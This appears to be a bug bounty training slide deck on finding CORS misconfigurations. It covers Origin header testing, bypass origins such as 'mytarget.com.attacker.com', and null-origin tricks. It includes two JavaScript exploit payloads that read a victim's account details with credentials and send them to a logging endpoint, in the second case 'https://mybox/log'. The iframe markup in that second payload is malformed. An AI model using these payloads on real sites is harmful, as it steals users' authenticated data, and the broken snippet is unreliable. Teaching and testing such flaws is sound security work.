



CORS Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



CORS – What is it?

CORS (Cross-Origin Resource Sharing) is a security feature implemented in web browsers that allows servers to specify which origins are allowed to access their resources.



CORS – Origin Header

You have sensitive information on <https://api.martin.com/user/>

You send a request to above API with:
Origin: <https://www.yoursite.com>

You see Access-Control-Allow-Origin: <https://www.yoursite.com/>

You can read the contents of this website successfully via
[yoursite.com](https://www.yoursite.com)



CORS – Example

Add Origin: <https://attacker.com>
header to all requests

Look for [Access-Control-Allow-Origin: https://attacker.com](#)
response

Also look for [Access-Allow-Credentials:true](#)
response
(cookies passed with AJAX request)



CORS – Filters and Bypasses

- Often filters are in place
- There is usually a bypass
- Often it only checks if their domain is present in the Origin header but then an attacker can bypass it!

Origin: <https://www.mytarget.com>

Origin: <https://www.mytarget.com.attacker.com>



CORS – Test 1

We have a target victim.com

Send a request with Origin: attacker.com

If you get back:

`Access-Control-Allow-Origin: https://attacker.com`

`Access-Allow-Credentials:true`

We can craft an exploit



CORS – Test 1 Payload

```
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get', 'https://victim.com/accountDetails', true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='/log?key='+this.responseText;
  };
</script>
```



CORS – Test 2

We have a target victim.com

Send a request with Origin: null

If you get back:

`Access-Control-Allow-Origin: null`

`Access-Allow-Credentials:true`

We can craft an exploit but need to make sure we have a null origin (sandbox iframe)



CORS – Test 2 Payload

```
<iframe sandbox="" allow-scripts allow-top-navigation allow-forms""  
src="" data:text/html, <script>  
    var req = new XMLHttpRequest ();  
    req.onload = reqListener;  
    req.open('get', 'https://victim/accountDetails', true);  
    req.withCredentials = true;  
    req.send();  
  
    function reqListener() {  
  
location='https://mybox/log?key='+encodeURIComponent(this.responseText);  
    };  
</script>""></iframe>
```



CORS – and XSS

- Sometimes filters prevent cross request
- But if there is another vulnerability on the victim domain (XSS) we can still exploit it as the script is run on their own domain (no CORS)



CORS - Automation

Automate CORS misconfiguration search

<https://github.com/s0md3v/Corsy>

<https://github.com/chenjj/CORScanner>



Thank You!

Become a Successful
Bug Bounty Hunter